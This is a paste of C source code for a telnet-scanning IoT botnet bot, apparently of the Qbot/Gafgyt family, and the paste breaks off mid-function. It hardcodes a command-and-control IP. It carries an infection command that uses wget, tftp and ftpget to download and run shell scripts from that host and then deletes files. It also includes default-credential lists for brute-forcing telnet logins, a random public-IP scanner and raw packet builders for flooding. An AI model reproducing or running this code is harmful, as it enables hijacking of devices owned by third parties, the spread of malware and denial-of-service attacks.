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unix.c (Public Release Refreshed)

ThaRealUDP
Oct 18th, 2016
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  1.  
  2. // ___ __ _
  3. // / \___ / _(_)_ __ ___ ___
  4. // / /\ / _ \ |_| | '_ \ / _ \/ __|
  5. // / /_// __/ _| | | | | __/\__ \
  6. // /___,' \___|_| |_|_| |_|\___||___/
  7.  
  8. #define PR_SET_NAME 15
  9. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  10. #define PAD_RIGHT 1
  11. #define PAD_ZERO 2
  12. #define PRINT_BUF_LEN 12
  13. #define CMD_IAC 255
  14. #define CMD_WILL 251
  15. #define CMD_WONT 252
  16. #define CMD_DO 253
  17. #define CMD_DONT 254
  18. #define OPT_SGA 3
  19.  
  20.  
  21.  
  22. // _____ _ _
  23. // \_ \_ __ ___| |_ _ __| | ___ ___
  24. // / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  25. // /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
  26. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  27.  
  28. #include <stdlib.h>
  29. #include <stdarg.h>
  30. #include <stdio.h>
  31. #include <sys/socket.h>
  32. #include <sys/types.h>
  33. #include <netinet/in.h>
  34. #include <arpa/inet.h>
  35. #include <netdb.h>
  36. #include <signal.h>
  37. #include <strings.h>
  38. #include <string.h>
  39. #include <sys/utsname.h>
  40. #include <unistd.h>
  41. #include <fcntl.h>
  42. #include <errno.h>
  43. #include <netinet/ip.h>
  44. #include <netinet/udp.h>
  45. #include <netinet/tcp.h>
  46. #include <sys/wait.h>
  47. #include <sys/ioctl.h>
  48. #include <net/if.h>
  49.  
  50. char *infectline = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://23.88.234.115/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 23.88.234.115 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tf1tp2.sh -g 23.88.234.115; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 23.88.234.115 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit\r\n";
  51.  
  52. // WGET LINE GOES HERE ^
  53.  
  54. unsigned char *commServer[] =
  55. {
  56. "23.88.234.115:118"
  57. };
  58. char *useragents[] = {
  59. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  60. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  61. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  62. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  63. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  64. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  65. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  67. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  68. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  69. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  70. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  71. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  72. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  73. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  74. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  75. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  76. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  77. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  78. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  79. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  80. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  81. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  82. };
  83.  
  84. int initConnection();
  85. int getBogos(unsigned char *bogomips);
  86. int getCores();
  87. int getCountry(unsigned char *buf, int bufsize);
  88. void makeRandomStr(unsigned char *buf, int length);
  89. int sockprintf(int sock, char *formatStr, ...);
  90. char *inet_ntoa(struct in_addr in);
  91.  
  92. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  93. uint32_t *pids;
  94. uint32_t scanPid;
  95. uint64_t numpids = 0;
  96. struct in_addr ourIP;
  97. unsigned char macAddress[6] = {0};
  98. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0","ubunt","toor\0"};
  99. char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "vizxv\0", "cisco\0","ubunt"};
  100.  
  101. #define PHI 0x9e3779b9
  102. static uint32_t Q[4096], c = 362436;
  103.  
  104. void init_rand(uint32_t x)
  105. {
  106. int i;
  107.  
  108. Q[0] = x;
  109. Q[1] = x + PHI;
  110. Q[2] = x + PHI + PHI;
  111.  
  112. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  113. }
  114.  
  115. uint32_t rand_cmwc(void)
  116. {
  117. uint64_t t, a = 18782LL;
  118. static uint32_t i = 4095;
  119. uint32_t x, r = 0xfffffffe;
  120. i = (i + 1) & 4095;
  121. t = a * Q[i] + c;
  122. c = (uint32_t)(t >> 32);
  123. x = t + c;
  124. if (x < c) {
  125. x++;
  126. c++;
  127. }
  128. return (Q[i] = r - x);
  129. }
  130.  
  131. void trim(char *str)
  132. {
  133. int i;
  134. int begin = 0;
  135. int end = strlen(str) - 1;
  136.  
  137. while (isspace(str[begin])) begin++;
  138.  
  139. while ((end >= begin) && isspace(str[end])) end--;
  140. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  141.  
  142. str[i - begin] = '\0';
  143. }
  144.  
  145. static void printchar(unsigned char **str, int c)
  146. {
  147. if (str) {
  148. **str = c;
  149. ++(*str);
  150. }
  151. else (void)write(1, &c, 1);
  152. }
  153.  
  154. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  155. {
  156. register int pc = 0, padchar = ' ';
  157.  
  158. if (width > 0) {
  159. register int len = 0;
  160. register const unsigned char *ptr;
  161. for (ptr = string; *ptr; ++ptr) ++len;
  162. if (len >= width) width = 0;
  163. else width -= len;
  164. if (pad & PAD_ZERO) padchar = '0';
  165. }
  166. if (!(pad & PAD_RIGHT)) {
  167. for ( ; width > 0; --width) {
  168. printchar (out, padchar);
  169. ++pc;
  170. }
  171. }
  172. for ( ; *string ; ++string) {
  173. printchar (out, *string);
  174. ++pc;
  175. }
  176. for ( ; width > 0; --width) {
  177. printchar (out, padchar);
  178. ++pc;
  179. }
  180.  
  181. return pc;
  182. }
  183.  
  184. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  185. {
  186. unsigned char print_buf[PRINT_BUF_LEN];
  187. register unsigned char *s;
  188. register int t, neg = 0, pc = 0;
  189. register unsigned int u = i;
  190.  
  191. if (i == 0) {
  192. print_buf[0] = '0';
  193. print_buf[1] = '\0';
  194. return prints (out, print_buf, width, pad);
  195. }
  196.  
  197. if (sg && b == 10 && i < 0) {
  198. neg = 1;
  199. u = -i;
  200. }
  201.  
  202. s = print_buf + PRINT_BUF_LEN-1;
  203. *s = '\0';
  204.  
  205. while (u) {
  206. t = u % b;
  207. if( t >= 10 )
  208. t += letbase - '0' - 10;
  209. *--s = t + '0';
  210. u /= b;
  211. }
  212.  
  213. if (neg) {
  214. if( width && (pad & PAD_ZERO) ) {
  215. printchar (out, '-');
  216. ++pc;
  217. --width;
  218. }
  219. else {
  220. *--s = '-';
  221. }
  222. }
  223.  
  224. return pc + prints (out, s, width, pad);
  225. }
  226.  
  227. static int print(unsigned char **out, const unsigned char *format, va_list args )
  228. {
  229. register int width, pad;
  230. register int pc = 0;
  231. unsigned char scr[2];
  232.  
  233. for (; *format != 0; ++format) {
  234. if (*format == '%') {
  235. ++format;
  236. width = pad = 0;
  237. if (*format == '\0') break;
  238. if (*format == '%') goto out;
  239. if (*format == '-') {
  240. ++format;
  241. pad = PAD_RIGHT;
  242. }
  243. while (*format == '0') {
  244. ++format;
  245. pad |= PAD_ZERO;
  246. }
  247. for ( ; *format >= '0' && *format <= '9'; ++format) {
  248. width *= 10;
  249. width += *format - '0';
  250. }
  251. if( *format == 's' ) {
  252. register char *s = (char *)va_arg( args, int );
  253. pc += prints (out, s?s:"(null)", width, pad);
  254. continue;
  255. }
  256. if( *format == 'd' ) {
  257. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  258. continue;
  259. }
  260. if( *format == 'x' ) {
  261. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  262. continue;
  263. }
  264. if( *format == 'X' ) {
  265. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  266. continue;
  267. }
  268. if( *format == 'u' ) {
  269. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  270. continue;
  271. }
  272. if( *format == 'c' ) {
  273. scr[0] = (unsigned char)va_arg( args, int );
  274. scr[1] = '\0';
  275. pc += prints (out, scr, width, pad);
  276. continue;
  277. }
  278. }
  279. else {
  280. out:
  281. printchar (out, *format);
  282. ++pc;
  283. }
  284. }
  285. if (out) **out = '\0';
  286. va_end( args );
  287. return pc;
  288. }
  289.  
  290. int zprintf(const unsigned char *format, ...)
  291. {
  292. va_list args;
  293. va_start( args, format );
  294. return print( 0, format, args );
  295. }
  296.  
  297. int szprintf(unsigned char *out, const unsigned char *format, ...)
  298. {
  299. va_list args;
  300. va_start( args, format );
  301. return print( &out, format, args );
  302. }
  303.  
  304.  
  305. int sockprintf(int sock, char *formatStr, ...)
  306. {
  307. unsigned char *textBuffer = malloc(2048);
  308. memset(textBuffer, 0, 2048);
  309. char *orig = textBuffer;
  310. va_list args;
  311. va_start(args, formatStr);
  312. print(&textBuffer, formatStr, args);
  313. va_end(args);
  314. orig[strlen(orig)] = '\n';
  315. zprintf("buf: %s\n", orig);
  316. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  317. free(orig);
  318. return q;
  319. }
  320.  
  321. static int *fdopen_pids;
  322.  
  323. int fdpopen(unsigned char *program, register unsigned char *type)
  324. {
  325. register int iop;
  326. int pdes[2], fds, pid;
  327.  
  328. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  329.  
  330. if (pipe(pdes) < 0) return -1;
  331. if (fdopen_pids == NULL) {
  332. if ((fds = getdtablesize()) <= 0) return -1;
  333. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  334. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  335. }
  336.  
  337. switch (pid = vfork())
  338. {
  339. case -1:
  340. close(pdes[0]);
  341. close(pdes[1]);
  342. return -1;
  343. case 0:
  344. if (*type == 'r') {
  345. if (pdes[1] != 1) {
  346. dup2(pdes[1], 1);
  347. close(pdes[1]);
  348. }
  349. close(pdes[0]);
  350. } else {
  351. if (pdes[0] != 0) {
  352. (void) dup2(pdes[0], 0);
  353. (void) close(pdes[0]);
  354. }
  355. (void) close(pdes[1]);
  356. }
  357. execl("/bin/sh", "sh", "-c", program, NULL);
  358. _exit(127);
  359. }
  360. if (*type == 'r') {
  361. iop = pdes[0];
  362. (void) close(pdes[1]);
  363. } else {
  364. iop = pdes[1];
  365. (void) close(pdes[0]);
  366. }
  367. fdopen_pids[iop] = pid;
  368. return (iop);
  369. }
  370.  
  371. int fdpclose(int iop)
  372. {
  373. register int fdes;
  374. sigset_t omask, nmask;
  375. int pstat;
  376. register int pid;
  377.  
  378. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  379. (void) close(iop);
  380. sigemptyset(&nmask);
  381. sigaddset(&nmask, SIGINT);
  382. sigaddset(&nmask, SIGQUIT);
  383. sigaddset(&nmask, SIGHUP);
  384. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  385. do {
  386. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  387. } while (pid == -1 && errno == EINTR);
  388. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  389. fdopen_pids[fdes] = 0;
  390. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  391. }
  392.  
  393. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  394. {
  395. int got = 1, total = 0;
  396. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  397. return got == 0 ? NULL : buffer;
  398. }
  399.  
  400. static const long hextable[] = {
  401. [0 ... 255] = -1,
  402. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  403. ['A'] = 10, 11, 12, 13, 14, 15,
  404. ['a'] = 10, 11, 12, 13, 14, 15
  405. };
  406.  
  407. long parseHex(unsigned char *hex)
  408. {
  409. long ret = 0;
  410. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  411. return ret;
  412. }
  413.  
  414. int wildString(const unsigned char* pattern, const unsigned char* string) {
  415. switch(*pattern)
  416. {
  417. case '\0': return *string;
  418. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  419. case '?': return !(*string && !wildString(pattern+1, string+1));
  420. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  421. }
  422. }
  423.  
  424. int getHost(unsigned char *toGet, struct in_addr *i)
  425. {
  426. struct hostent *h;
  427. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  428. return 0;
  429. }
  430.  
  431. void uppercase(unsigned char *str)
  432. {
  433. while(*str) { *str = toupper(*str); str++; }
  434. }
  435.  
  436. int getBogos(unsigned char *bogomips)
  437. {
  438. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  439. char linebuf[4096];
  440. while(fdgets(linebuf, 4096, cmdline) != NULL)
  441. {
  442. uppercase(linebuf);
  443. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  444. {
  445. unsigned char *pos = linebuf + 8;
  446. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  447. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  448. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  449. strcpy(bogomips, pos);
  450. close(cmdline);
  451. return 0;
  452. }
  453. memset(linebuf, 0, 4096);
  454. }
  455. close(cmdline);
  456. return 1;
  457. }
  458.  
  459. int getCores()
  460. {
  461. int totalcores = 0;
  462. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  463. char linebuf[4096];
  464. while(fdgets(linebuf, 4096, cmdline) != NULL)
  465. {
  466. uppercase(linebuf);
  467. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  468. memset(linebuf, 0, 4096);
  469. }
  470. close(cmdline);
  471. return totalcores;
  472.  
  473. }
  474.  
  475. void makeRandomStr(unsigned char *buf, int length)
  476. {
  477. int i = 0;
  478. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  479. }
  480.  
  481. int recvLine(int socket, unsigned char *buf, int bufsize)
  482. {
  483. memset(buf, 0, bufsize);
  484.  
  485. fd_set myset;
  486. struct timeval tv;
  487. tv.tv_sec = 30;
  488. tv.tv_usec = 0;
  489. FD_ZERO(&myset);
  490. FD_SET(socket, &myset);
  491. int selectRtn, retryCount;
  492. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  493. while(retryCount < 10)
  494. {
  495. sockprintf(mainCommSock, "PING");
  496.  
  497. tv.tv_sec = 30;
  498. tv.tv_usec = 0;
  499. FD_ZERO(&myset);
  500. FD_SET(socket, &myset);
  501. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  502. retryCount++;
  503. continue;
  504. }
  505.  
  506. break;
  507. }
  508. }
  509.  
  510. unsigned char tmpchr;
  511. unsigned char *cp;
  512. int count = 0;
  513.  
  514. cp = buf;
  515. while(bufsize-- > 1)
  516. {
  517. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  518. *cp = 0x00;
  519. return -1;
  520. }
  521. *cp++ = tmpchr;
  522. if(tmpchr == '\n') break;
  523. count++;
  524. }
  525. *cp = 0x00;
  526.  
  527. // zprintf("recv: %s\n", cp);
  528.  
  529. return count;
  530. }
  531.  
  532. int connectTimeout(int fd, char *host, int port, int timeout)
  533. {
  534. struct sockaddr_in dest_addr;
  535. fd_set myset;
  536. struct timeval tv;
  537. socklen_t lon;
  538.  
  539. int valopt;
  540. long arg = fcntl(fd, F_GETFL, NULL);
  541. arg |= O_NONBLOCK;
  542. fcntl(fd, F_SETFL, arg);
  543.  
  544. dest_addr.sin_family = AF_INET;
  545. dest_addr.sin_port = htons(port);
  546. if(getHost(host, &dest_addr.sin_addr)) return 0;
  547. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  548. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  549.  
  550. if (res < 0) {
  551. if (errno == EINPROGRESS) {
  552. tv.tv_sec = timeout;
  553. tv.tv_usec = 0;
  554. FD_ZERO(&myset);
  555. FD_SET(fd, &myset);
  556. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  557. lon = sizeof(int);
  558. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  559. if (valopt) return 0;
  560. }
  561. else return 0;
  562. }
  563. else return 0;
  564. }
  565.  
  566. arg = fcntl(fd, F_GETFL, NULL);
  567. arg &= (~O_NONBLOCK);
  568. fcntl(fd, F_SETFL, arg);
  569.  
  570. return 1;
  571. }
  572.  
  573. int listFork()
  574. {
  575. uint32_t parent, *newpids, i;
  576. parent = fork();
  577. if (parent <= 0) return parent;
  578. numpids++;
  579. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  580. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  581. newpids[numpids - 1] = parent;
  582. free(pids);
  583. pids = newpids;
  584. return parent;
  585. }
  586.  
  587. int negotiate(int sock, unsigned char *buf, int len)
  588. {
  589. unsigned char c;
  590.  
  591. switch (buf[1]) {
  592. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  593. case CMD_WILL:
  594. case CMD_WONT:
  595. case CMD_DO:
  596. case CMD_DONT:
  597. c = CMD_IAC;
  598. send(sock, &c, 1, MSG_NOSIGNAL);
  599. if (CMD_WONT == buf[1]) c = CMD_DONT;
  600. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  601. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  602. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  603. send(sock, &c, 1, MSG_NOSIGNAL);
  604. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  605. break;
  606.  
  607. default:
  608. break;
  609. }
  610.  
  611. return 0;
  612. }
  613.  
  614. int matchPrompt(char *bufStr)
  615. {
  616. char *prompts = ":>%$#\0";
  617.  
  618. int bufLen = strlen(bufStr);
  619. int i, q = 0;
  620. for(i = 0; i < strlen(prompts); i++)
  621. {
  622. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  623. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  624. }
  625.  
  626. return 0;
  627. }
  628.  
  629. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  630. {
  631. int bufferUsed = initialIndex, got = 0, found = 0;
  632. fd_set myset;
  633. struct timeval tv;
  634. tv.tv_sec = timeout;
  635. tv.tv_usec = timeoutusec;
  636. unsigned char *initialRead = NULL;
  637.  
  638. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  639. {
  640. FD_ZERO(&myset);
  641. FD_SET(fd, &myset);
  642. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  643. initialRead = buffer + bufferUsed;
  644. got = recv(fd, initialRead, 1, 0);
  645. if(got == -1 || got == 0) return 0;
  646. bufferUsed += got;
  647. if(*initialRead == 0xFF)
  648. {
  649. got = recv(fd, initialRead + 1, 2, 0);
  650. if(got == -1 || got == 0) return 0;
  651. bufferUsed += got;
  652. if(!negotiate(fd, initialRead, 3)) return 0;
  653. } else {
  654. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  655. }
  656. }
  657.  
  658. if(found) return 1;
  659. return 0;
  660. }
  661.  
  662. static uint8_t ipState[5];
  663. in_addr_t getRandomPublicIP()
  664. {
  665. if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
  666. {
  667. ipState[1]++;
  668. ipState[2]++;
  669. ipState[3]++;
  670. ipState[4]++;
  671. char ip[16];
  672. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  673. return inet_addr(ip);
  674. }
  675.  
  676. ipState[1] = 0;
  677. ipState[2] = 0;
  678. ipState[3] = 0;
  679. ipState[4] = 0;
  680. while(
  681. (ipState[1] == 0) ||
  682. (ipState[1] == 10) ||
  683. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  684. (ipState[1] == 127) ||
  685. (ipState[1] == 169 && ipState[2] == 254) ||
  686. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  687. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  688. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  689. (ipState[1] == 192 && ipState[2] == 168) ||
  690. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  691. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  692. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  693. (ipState[1] >= 224)
  694. )
  695. {
  696. ipState[1] = rand() % 150;
  697. ipState[2] = rand() % 150;
  698. ipState[3] = rand() % 150;
  699. ipState[4] = rand() % 150;
  700. }
  701.  
  702. char ip[16];
  703. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  704. return inet_addr(ip);
  705. }
  706.  
  707. in_addr_t getRandomIP(in_addr_t netmask)
  708. {
  709. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  710. return tmp ^ ( rand_cmwc() & ~netmask);
  711. }
  712.  
  713. unsigned short csum (unsigned short *buf, int count)
  714. {
  715. register uint64_t sum = 0;
  716. while( count > 1 ) { sum += *buf++; count -= 2; }
  717. if(count > 0) { sum += *(unsigned char *)buf; }
  718. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  719. return (uint16_t)(~sum);
  720. }
  721.  
  722. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  723. {
  724.  
  725. struct tcp_pseudo
  726. {
  727. unsigned long src_addr;
  728. unsigned long dst_addr;
  729. unsigned char zero;
  730. unsigned char proto;
  731. unsigned short length;
  732. } pseudohead;
  733. unsigned short total_len = iph->tot_len;
  734. pseudohead.src_addr=iph->saddr;
  735. pseudohead.dst_addr=iph->daddr;
  736. pseudohead.zero=0;
  737. pseudohead.proto=IPPROTO_TCP;
  738. pseudohead.length=htons(sizeof(struct tcphdr));
  739. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  740. unsigned short *tcp = malloc(totaltcp_len);
  741. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  742. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  743. unsigned short output = csum(tcp,totaltcp_len);
  744. free(tcp);
  745. return output;
  746. }
  747.  
  748. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  749. {
  750. iph->ihl = 5;
  751. iph->version = 4;
  752. iph->tos = 0;
  753. iph->tot_len = sizeof(struct iphdr) + packetSize;
  754. iph->id = rand_cmwc();
  755. iph->frag_off = 0;
  756. iph->ttl = MAXTTL;
  757. iph->protocol = protocol;
  758. iph->check = 0;
  759. iph->saddr = source;
  760. iph->daddr = dest;
  761. }
  762.  
  763. int sclose(int fd)
  764. {
  765. if(3 > fd) return 1;
  766. close(fd);
  767. return 0;
  768. }
  769.  
  770. void StartTheLelz()
  771. {
  772. int max = (getdtablesize() / 4) * 3, i, res;
  773. fd_set myset;
  774. struct timeval tv;
  775. socklen_t lon;
  776. int valopt;
  777.  
  778. max = max > 4096 ? 4096 : max;
  779.  
  780. struct sockaddr_in dest_addr;
  781. dest_addr.sin_family = AF_INET;
  782. dest_addr.sin_port = htons(23);
  783. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  784.  
  785. struct telstate_t
  786. {
  787. int fd;
  788. uint32_t ip;
  789. uint8_t state;
  790. uint8_t complete;
  791. uint8_t usernameInd;
  792. uint8_t passwordInd;
  793. uint32_t totalTimeout;
  794. uint16_t bufUsed;
  795. char *sockbuf;
  796. } fds[max];
  797. memset(fds, 0, max * (sizeof(int) + 1));
  798. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  799. struct timeval timeout;
  800. timeout.tv_sec = 5;
  801. timeout.tv_usec = 0;
  802. while(1)
  803. {
  804. for(i = 0; i < max; i++)
  805. {
  806. switch(fds[i].state)
  807. {
  808. case 0:
  809. {
  810. memset(fds[i].sockbuf, 0, 1024);
  811.  
  812. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  813. else {
  814. fds[i].passwordInd++;
  815. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  816. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  817. }
  818. dest_addr.sin_family = AF_INET;
  819. dest_addr.sin_port = htons(23);
  820. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  821. dest_addr.sin_addr.s_addr = fds[i].ip;
  822. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  823. setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  824. setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  825. if(fds[i].fd == -1) { continue; }
  826. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  827. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  828. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  829. }
  830. break;
  831.  
  832. case 1:
  833. {
  834. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  835.  
  836. FD_ZERO(&myset);
  837. FD_SET(fds[i].fd,
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